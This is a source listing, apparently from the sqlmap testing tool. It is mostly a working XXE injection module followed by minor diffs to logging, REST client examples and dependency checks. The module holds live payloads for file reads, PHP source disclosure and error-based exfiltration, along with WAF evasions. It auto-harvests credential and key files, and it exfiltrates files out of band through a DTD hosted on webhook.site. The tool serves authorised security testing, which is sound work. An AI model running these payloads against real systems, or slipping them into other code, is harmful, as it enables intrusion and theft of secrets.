for lt in ("<", "&lt;", "&#60;", "&#x3c;", "%3c", "\\u003c"):
if lt + kw in page:
return True
return False
def _report(title, payload):
if conf.beep:
beep()
place = conf.method or HTTPMETHOD.POST
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
def _saveFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and
return its local path, or None if it could not be written."""
try:
return dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
return None
def _dumpFileRead(remoteFile, content):
"""Save a single XXE-read file and list it; fall back to a console dump if the
file cannot be written."""
localPath = _saveFileRead(remoteFile, content)
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
def _harvestFiles(xml, rootName):
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
confirmed: pull a curated set of high-value fixed-path files (host identity,
process env/secrets, key material) the way the other non-SQL engines auto-dump
their reachable data. Returns a list of (path, content, payload) for every file
that read back non-empty; unreadable/absent files are silently skipped. Content is
de-duplicated so a parser that resolves every missing path to the same stub cannot
masquerade as many distinct reads."""
harvested = []
seen = set()
for path in XXE_FILE_HARVEST:
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip():
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, payload))
return harvested
def _phpFilterWorks(xml, rootName):
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
requests for it."""
from lib.core.convert import decodeBase64
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
if match and match.group(1).strip():
try:
return bool(getText(decodeBase64(match.group(1).strip())).strip())
except Exception:
pass
return False
def _harvestSource(xml, rootName, harvested):
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
server-side application SOURCE code via php://filter (source is executed, never
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
(running script + working dir) combined with common web roots/source names, and
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
target. Returns a list of (path, content, payload)."""
if not _phpFilterWorks(xml, rootName):
return []
byPath = dict((p, c) for p, c, _ in harvested)
seen = set(getUnicode(c).strip() for c in byPath.values())
candidates = []
dirs = []
environ = getUnicode(byPath.get("/proc/self/environ", ""))
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
cwd = match.group(1).strip() if match else None
if cwd:
dirs.append(cwd)
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
for token in re.split(r"[\x00\s]+", cmdline):
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
if token.startswith("/"):
candidates.append(token) # absolute script path
elif cwd:
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
for directory in dirs:
for name in XXE_SOURCE_NAMES:
candidates.append("%s/%s" % (directory.rstrip("/"), name))
logger.info("attempting application source-code disclosure via php://filter")
result = []
read = set()
for path in candidates:
if path in read:
continue
read.add(path)
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip() and getUnicode(content).strip() not in seen:
seen.add(getUnicode(content).strip())
result.append((path, content, payload))
return result
def _tryInternal(xml, rootName, baseline):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the
app merely mirrors the body without parsing entities)."""
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True)
page = _send(payload)
if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline:
return payload, page
return None, page
def _confirmRead(page, pattern, baseline):
"""Return the first response line that matches a known file-content signature
and is absent from the baseline. The baseline guard is essential: it stops a
generic short reply (e.g. 'received', 'ok') from matching a loose pattern."""
baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines())
for line in getUnicode(page).splitlines():
line = line.strip()
if line and line not in baselineLines and re.search(pattern, line):
return line
return None
def _tryInbandFileRead(xml, rootName, fileName):
"""Read an arbitrary file IN-BAND on a reflective target: place the external
entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
(content, payload) or (None, None)."""
from lib.core.convert import decodeBase64
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
for systemId, isB64 in ((_toSystemId(fileName), False),
("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
page = getUnicode(_send(payload))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
if not match:
continue
data = match.group(1)
if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo
continue
if isB64:
try:
data = getText(decodeBase64(data.strip()))
except Exception:
continue
if data and data.strip():
return data, payload
return None, None
def _tryExternalFile(xml, rootName, baseline):
"""Impact demonstration once XXE is live: read a benign host-identity file via
an external general entity. Returns (systemId, payload) on a confirmed read."""
for systemId, pattern in XXE_IMPACT_FILES:
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
snippet = _confirmRead(_send(payload), pattern, baseline)
if snippet:
return systemId, payload
return None, None
def _tryPhpFilter(xml, rootName, baseline):
"""PHP-only in-band read (base64 via php://filter). Used only as a benign in-band
impact demonstration -> reads /etc/os-release; it deliberately never probes
/etc/passwd here (a specific file is read only on explicit '--file-read')."""
from lib.core.convert import decodeBase64
baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or "")))
for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),):
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=%s">' % (ent, resource)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
page = _send(payload)
for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)):
if token in baselineTokens:
continue
try:
decoded = getText(decodeBase64(token))
except Exception:
continue
if decoded and re.search(pattern, decoded, re.M):
return payload
return None
def _tryError(xml, rootName):
"""T3 error-based: a parameter entity points at a non-existent path carrying
the sentinel. Confirmed when the sentinel surfaces inside a parser error."""
subset = '<!ENTITY %% xxe SYSTEM "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
payload = _buildDoctype(xml, rootName, subset)
page = _send(payload)
if SENTINEL in page and not _echoed(page):
return payload, page
return None, page
def _tryLocalDtd(xml, rootName):
"""T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its
parameter entities to load a sentinel path, and read the sentinel back out of
the resulting parser error - no outbound network required."""
for dtdPath, entName in XXE_LOCAL_DTDS:
subset = (
'<!ENTITY %% local_dtd SYSTEM "%s">\n'
"<!ENTITY %% %s '<!ENTITY &#x25; xxe SYSTEM \"file:///%s/nonexistent\">&#x25;xxe;'>\n"
"%%local_dtd;"
) % (dtdPath, entName, SENTINEL)
payload = _buildDoctype(xml, rootName, subset)
page = _send(payload)
if SENTINEL in page and not _echoed(page):
return payload, page
return None, ""
def _tryErrorExfil(xml, rootName, errorChannel=False):
"""In-band error-based file EXFILTRATION: coerce the parser into an error whose
message embeds the target file's contents (not just a sentinel). Two vehicles:
(a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on
the exfil service -> needs egress to fetch it plus verbose errors, so it is only
attempted when an error channel was already confirmed (else it is pointless and
just burns third-party requests). php://filter base64 carries a whole multi-line
file intact; raw file:// leaks the first line. Returns (content, filename)."""
from lib.core.convert import decodeBase64
fileName = conf.get("fileRead")
if not fileName:
return None, None
marker = randomStr(10, lowercase=True)
# (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser)
reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True),
(_toSystemId(fileName), False))
def _extract(page, isB64):
pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker)
match = re.search(pattern, getUnicode(page))
if not match:
return None
if isB64:
try:
return getText(decodeBase64(match.group(1))) or None
except Exception:
return None
return match.group(1)
# (a) local-DTD repurposing - no egress
for dtdPath, entName in XXE_LOCAL_DTDS:
for systemId, isB64 in reads:
inner = ('<!ENTITY &#x25; file SYSTEM "%s">'
'<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///%s/&#x25;file;&#x27;>">'
'&#x25;eval;&#x25;error;') % (systemId, marker)
subset = '<!ENTITY %% local_dtd SYSTEM "%s">\n<!ENTITY %% %s \'%s\'>\n%%local_dtd;' % (dtdPath, entName, inner)
content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64)
if content:
return content, fileName
# (b) DTD we host on the exfil service - egress + verbose errors (third party):
# skip on a blind target (no error channel) and without explicit OOB consent
if not (errorChannel and _oobConsent()):
return None, None
from lib.request.webhooksite import WebhookSite
wh = WebhookSite()
for systemId, isB64 in reads:
dtd = ('<!ENTITY %% file SYSTEM "%s">\n'
'<!ENTITY %% eval "<!ENTITY &#x25; error SYSTEM \'file:///%s/%%file;\'>">\n'
'%%eval;\n%%error;') % (systemId, marker)
token = wh.newToken(dtd)
if not token:
break
content = _extract(_send(_buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(token))), isB64)
if content:
return content, fileName
return None, None
def _tryXInclude(xml, rootName, baseline):
"""T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as
text. Confirmed when the file content appears in the response (baseline-guarded)."""
for systemId, pattern in XXE_IMPACT_FILES:
snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId
payload = _placeRef(xml, snippet)
confirmed = _confirmRead(_send(payload), pattern, baseline)
if confirmed:
return payload, systemId, confirmed
return None, None, None
def _tryEvasions(xml, rootName, baseline):
"""T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail.
Each transform keeps the payload semantically identical while defeating a
common naive filter, so a reachable-but-filtered parser can still be caught.
Returns (title, payload) on a confirmed hit."""
# (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while
# ASCII byte-signature WAFs (grepping for "<!ENTITY"/"SYSTEM") miss it.
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike
if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline:
return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body)
# (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist
# the SYSTEM identifier; the second literal is still the resolved system id.
subset = '<!ENTITY %% xxe PUBLIC "-//sqlmap//XXE//EN" "file:///%s/nonexistent">\n%%xxe;' % SENTINEL
body = _buildDoctype(xml, rootName, subset)
page = _send(body)
if SENTINEL in page and not _echoed(page):
return "Error-based via PUBLIC keyword (WAF evasion)", body
return None, None
def _timed(body, timeout):
"""One request, returning wall-clock seconds. ignoreTimeout keeps a stalled
parser from raising, so the elapsed time itself is the signal."""
start = time.time()
try:
Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(),
raise404=False, silent=True, ignoreTimeout=True, timeout=timeout)
except Exception:
pass
return time.time() - start
def _tryTimeBlind(xml, rootName):
"""T6 last-resort blind detection with NO collector: an external parameter
entity aimed at a non-routable TEST-NET host stalls a fetching parser on the
connection. Confirmed only on a large, reproducible delay measured against a
DTD-processing control (an internal parameter entity, no fetch) - so DTD
overhead alone cannot trip it and only the outbound-fetch stall counts."""
control = _buildDoctype(xml, rootName, '<!ENTITY %% c "x">\n%%c;')
baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout))
threshold = baseline + XXE_TIME_THRESHOLD
probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3)
# Bound each stalled probe: the per-call timeout kwarg does not reach a pooled
# socket, so cap via conf.timeout (the value the connection actually uses) and
# drop conf.retries so a stall is not re-sent. Restored in finally.
_timeout, _retries = conf.timeout, conf.retries
conf.timeout, conf.retries = probeTimeout, 0
try:
subset = '<!ENTITY %% x SYSTEM "http://%s/%s">\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL)
payload = _buildDoctype(xml, rootName, subset)
if _timed(payload, probeTimeout) < threshold:
return None
if _timed(payload, probeTimeout) < threshold: # must reproduce
return None
return payload
finally:
conf.timeout, conf.retries = _timeout, _retries
def _oobEnabled():
"""False when the user opted out of OOB entirely (`--oob-server none`)."""
return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false")
def _oobConsent():
"""True only when the user has opted into contacting a third-party OOB service:
either explicitly (`--oob-server <host>`) or by answering the one-time prompt,
which defaults to NO - so '--batch' never silently phones a public service."""
global _OOB_CONSENT
if not _oobEnabled():
return False
if conf.get("oobServer"):
return True
if _OOB_CONSENT is None:
message = "do you want sqlmap to use a public out-of-band service "
message += "(interactsh/webhook.site) for blind XXE? [y/N] "
_OOB_CONSENT = readInput(message, default='N', boolean=True)
return _OOB_CONSENT
def _tryOobExfil(xml, rootName):
"""T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on
a public content+logging service (webhook.site), point the target's parser at
it, and read the file it ships back out. The DTD uses the classic nested
parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64
so any file survives the callback URL. The DTD-fetch itself doubles as blind
detection. Reads conf.fileRead if given, else a benign default. Returns a dict
{payload, filename, content, detected} or None if the service is unusable."""
from lib.core.convert import decodeBase64
from lib.request.webhooksite import WebhookSite
fileName = conf.get("fileRead")
if not fileName:
return None
wh = WebhookSite()
exfilToken = wh.newToken()
if not exfilToken:
logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)")
return None
marker = randomStr(10, lowercase=True)
# Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a
# space and mangle '/'/'=', corrupting the payload. In the path those bytes survive
# and webhook.site logs the raw request URL, which we regex back out.
exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker)
dtd = ('<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n'
'<!ENTITY %% eval "<!ENTITY &#x25; exfil SYSTEM \'%s\'>">\n'
'%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl)
dtdToken = wh.newToken(dtd)
if not dtdToken:
return None
singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint)
payload = _buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(dtdToken))
_send(payload)
content, detected = None, False
pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker))
for _ in range(OOB_POLL_ATTEMPTS):
time.sleep(OOB_POLL_DELAY)
for record in wh.captured(exfilToken):
match = pattern.search(getText(record.get("url") or ""))
if match:
try:
content = getText(decodeBase64(match.group(1)))
except Exception:
content = match.group(1)
break
if content:
break
if not detected and wh.captured(dtdToken):
detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil
if not detected:
detected = bool(wh.captured(dtdToken))
return {"payload": payload, "filename": fileName, "content": content, "detected": detected}
def _tryOob(xml, rootName):
"""T7 blind confirmation via an out-of-band collector (interactsh): an external
parameter entity points at a unique callback URL. If the target's parser fetches
it (or even just resolves its DNS), the collector records the interaction and we
poll it back - definitive proof of blind XXE with egress, and it names the
channel (HTTP vs DNS-only). Returns (payload, protocol) or None."""
from lib.request.interactsh import Interactsh, hasCrypto
if not hasCrypto():
logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)")
return None
client = Interactsh(server=conf.get("oobServer"))
if not client.registered:
logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)")
return None
singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server)
try:
url = client.url()
subset = '<!ENTITY %% oob SYSTEM "%s">\n%%oob;' % url
payload = _buildDoctype(xml, rootName, subset)
_send(payload)
interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY)
if interactions:
protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions))
return payload, ", ".join(protocols)
finally:
client.close()
return None
def xxeScan():
global SENTINEL, _OOB_CONSENT
SENTINEL = randomStr(length=12, lowercase=True)
_OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
logger.debug(debugMsg)
xml = _cleanBody()
if not _looksXml(xml):
logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')")
return
rootName = _rootName(xml)
if not rootName:
logger.error("could not locate the document root element in the XML body")
return
logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName)
baseline = _send(xml)
found = False # an actual impact/oracle (file read, error-based, XInclude, blind)
expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search)
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
# then emit a SINGLE report block with the strongest confirmed vector and its real
# payload (one report per finding, as with the other non-SQL engines). The internal
# expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
if conf.get("fileRead"):
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content)
else:
# No targeted '--file-read': proactively harvest a curated set of high-value
# files (data stays in the response, no third party) - the XXE analogue of
# the automatic dumping the other non-SQL engines do once confirmed.
harvested = _harvestFiles(xml, rootName)
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
# follow-up: server-side application source disclosure (php://filter)
harvested += _harvestSource(xml, rootName, harvested)
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested:
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
localPath = _saveFileRead(path, content)
if localPath:
saved.append(localPath)
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
if saved:
conf.dumper.rFile(saved)
else:
# Harvest read nothing (content relocated in the response, or only benign
# host-identity is exposed): fall back to the pattern-based impact proof
# so file-read impact is still confirmed.
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
if not systemId:
readPayload = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if readPayload else None
if systemId:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
if not found:
# external entities are disabled (only internal expansion is reachable):
# report that weaker-but-real finding with its actual payload
_report("In-band DTD/internal entity expansion", payload)
# T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is
# skipped then - the file-read *impact* tiers below still run to try to upgrade.
errorChannel = False
if not found and not expansionSeen:
payload, page = _tryError(xml, rootName)
if payload:
found = errorChannel = True
backend = _fingerprint(page) or "Generic XML"
logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend)
_report("Error-based (parameter entity, back-end: '%s')" % backend, payload)
# T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected)
if not found and not expansionSeen:
payload, page = _tryLocalDtd(xml, rootName)
if payload:
found = errorChannel = True
backend = _fingerprint(page) or "Generic XML"
logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)")
_report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload)
# T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request.
# The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs
# both a confirmed error channel (pointless on a blind target) and OOB consent.
if conf.get("fileRead"):
content, fileName = _tryErrorExfil(xml, rootName, errorChannel)
if content:
found = True
logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName)
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
_dumpFileRead(fileName, content)
# T4: XInclude fallback (no DOCTYPE/entity control needed)
if not found:
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline)
if payload:
found = True
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
_report("XInclude file read ('%s')" % systemId, payload)
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
# variant re-detects internal-entity reflection, so it is redundant (and mislabels
# as 'evasion') once reflection was already seen - skip it then.
if not found and not expansionSeen:
title, payload = _tryEvasions(xml, rootName, baseline)
if title:
found = True
logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower())
_report(title, payload)
# T6: time-based blind (no collector, no third party) - external entity to a non-routable host.
# Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow)
# blind tiers add nothing and would needlessly stall.
if not found and not expansionSeen:
logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow")
payload = _tryTimeBlind(xml, rootName)
if payload:
found = True
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
_report("Time-based blind (external entity to non-routable host)", payload)
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only
# (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt).
# Low-impact callback confirmation is the default; actual file exfiltration is
# attempted only when the user explicitly asked for a file via '--file-read'.
if not found and not expansionSeen and _oobConsent():
if conf.get("fileRead"):
exfil = _tryOobExfil(xml, rootName)
if exfil and (exfil["content"] or exfil["detected"]):
found = True
if exfil["content"]:
logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"])
_report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
_dumpFileRead(exfil["filename"], exfil["content"])
else:
logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)")
_report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
else:
result = _tryOob(xml, rootName)
if result:
payload, protocol = result
found = True
logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol)
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
if not found:
if expansionSeen:
# in-band entity processing is real, but no external-entity/blind oracle was reachable
# (typically external entities disabled) - report honestly rather than overstate impact
logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established")
logger.info("XXE scan complete")
return
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
# from a merely non-reflecting one so the user knows why it did not fire.
probe = _send(_buildDoctype(xml, rootName, '<!ENTITY %% p SYSTEM "file:///%s">%%p;' % SENTINEL))
if re.search(XXE_HARDENED_REGEX, getUnicode(probe)):
logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)")
else:
backend = _fingerprint(probe)
if backend:
logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend)
logger.warning("the XML body does not appear to be injectable via XXE")
return
logger.info("XXE scan complete")

View file

@ -253,6 +253,12 @@ def setupReportCollector():
collector = Database(":memory:")
collector.connect("report")
collector.init()
# record error/critical log messages into the collector so that a CLI --report-json report carries
# the same 'error' content the REST API exposes via /scan/<id>/data - letting consumers tell a
# failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data')
logger.addHandler(ReportErrorRecorder(collector))
return collector
def writeReportJson(collector, filepath):
@ -449,6 +455,22 @@ class LogRecorder(logging.StreamHandler):
"""
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg)))
class ReportErrorRecorder(logging.Handler):
def __init__(self, collector):
"""
Records error/critical log messages into a report collector's 'errors' table (the counterpart
of StdDbOut's stderr branch for CLI --report-json runs)
"""
logging.Handler.__init__(self)
self.setLevel(logging.ERROR)
self.collector = collector
def emit(self, record):
try:
self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg)))
except Exception:
pass
def setRestAPILog():
if conf.api:
try:
@ -957,11 +979,12 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
DataStore.username = username
DataStore.password = password
auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth
dbgMsg = "Example client access from command line:"
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port)
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port)
dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port)
dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port)
dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port)
logger.debug(dbgMsg)
addr = "http://%s:%d" % (host, port)
@ -1089,7 +1112,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
elif command in ("help", "?"):
msg = "help Show this help message\n"
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n"
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n"
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
msg += "data Retrieve and show data for current task\n"
msg += "log Retrieve and show log for current task\n"

View file

@ -94,16 +94,6 @@ def checkDependencies():
logger.warning(warnMsg)
missing_libraries.add('python-ntlm')
try:
__import__("httpx")
debugMsg = "'httpx[http2]' third-party library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'httpx[http2]' third-party library "
warnMsg += "if you plan to use HTTP version 2"
logger.warning(warnMsg)
missing_libraries.add('httpx[http2]')
try:
__import__("websocket._abnf")
debugMsg = "'websocket-client' library is found"

View file

@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
# false positives. See PROVE_DESIGN.md.)
#
# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB,
# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB,
# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With
# anchor value 2:
# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5,
# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse,
# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify()
# (only measured signatures classify; anything else -> None). With anchor value 2:
#
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
# vs no such operator (SQLite/Oracle/... -> error, so false)
@ -52,57 +52,69 @@ DIALECT_PROBES = (
("shift", "1<<2=4"),
)
# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that
# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails,
# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the
# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle
# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a
# meaningless signature. It uses a trailing-operator form, distinct from the '<n> <m>' no-operator
# form already exercised by sqlmap's earlier false-positive check, so it adds new information.
DIALECT_CANARY = "2+"
